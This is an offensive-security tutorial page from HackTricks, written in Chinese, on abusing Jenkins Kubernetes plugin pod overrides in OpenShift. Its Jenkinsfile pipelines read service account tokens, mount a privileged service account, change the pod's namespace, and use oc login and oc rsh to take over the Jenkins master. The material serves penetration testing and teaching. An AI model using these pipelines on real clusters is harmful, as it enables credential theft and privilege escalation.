Jenkins in Openshift - build pod overrides

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

该页面的原作者是 Fares

Kubernetes plugin for Jenkins

此插件主要负责在openshift/kubernetes集群中Jenkins的核心功能。官方文档 here 它提供了一些功能,例如开发人员可以覆盖jenkins构建pod的一些默认配置。

Core functionnality

此插件为开发人员在适当的环境中构建代码提供了灵活性。

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

一些利用 pod yaml 覆盖的滥用

然而,它可以被滥用来使用任何可访问的镜像,例如 Kali Linux,并使用该镜像中预安装的工具执行任意命令。 在下面的示例中,我们可以提取正在运行的 pod 的 serviceaccount 令牌。

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

一种不同的语法来实现相同的目标。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

示例以覆盖 pod 的命名空间

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

另一个示例尝试根据名称挂载一个 serviceaccount(该 serviceaccount 可能具有比默认的更多权限,正在运行您的构建)。您可能需要先猜测或枚举现有的 serviceaccounts。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

相同的技术适用于尝试挂载一个 Secret。这里的最终目标是弄清楚如何配置你的 pod 构建以有效地进行权限提升或获取特权。

进一步探索

一旦你习惯了玩弄它,利用你在 Jenkins 和 Kubernetes/Openshift 上的知识来寻找错误配置/滥用。

问自己以下问题:

  • 哪个服务账户用于部署构建 pod?
  • 它拥有哪些角色和权限?它能读取我当前所在命名空间的 secrets 吗?
  • 我能进一步枚举其他构建 pod 吗?
  • 从一个被攻陷的 sa,我能在主节点/pod 上执行命令吗?
  • 我能进一步枚举集群以进行其他操作吗?
  • 应用了哪个 SCC?

你可以在 这里这里 找到需要发出的 oc/kubectl 命令。

可能的权限提升/转移场景

假设在你的评估中你发现所有的 jenkins 构建都在一个名为 worker-ns 的命名空间中运行。你发现一个名为 default-sa 的默认服务账户被挂载在构建 pod 上,但它的权限并不多,除了对某些资源的读取权限,但你能够识别出一个名为 master-sa 的现有服务账户。 假设你在运行的构建容器中安装了 oc 命令。

使用以下构建脚本,你可以控制 master-sa 服务账户并进一步枚举。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

根据您的访问权限,您要么需要从构建脚本继续攻击,要么可以直接以此 sa 登录正在运行的集群:

oc login --token=$token --server=https://apiserver.com:port

如果这个 sa 拥有足够的权限(例如 pod/exec),你还可以通过在主节点 pod 内执行命令来控制整个 jenkins 实例,前提是它在同一个命名空间内运行。你可以通过其名称以及它必须挂载一个用于存储 jenkins 数据的 PVC(持久卷声明)来轻松识别这个 pod。

oc rsh pod_name -c container_name

如果主节点 pod 没有在与工作节点相同的命名空间中运行,您可以尝试通过针对主命名空间进行类似的攻击。假设它叫做 jenkins-master。请记住,serviceAccount master-sa 需要在 jenkins-master 命名空间中存在(并且可能在 worker-ns 命名空间中不存在)。

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}



> [!TIP]
> 学习并练习 AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习并练习 GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习并练习 Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>支持 HackTricks</summary>
>
> - 查看 [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) 或者 [**telegram group**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库 提交 PRs 来分享 hacking tricks。
>
> </details>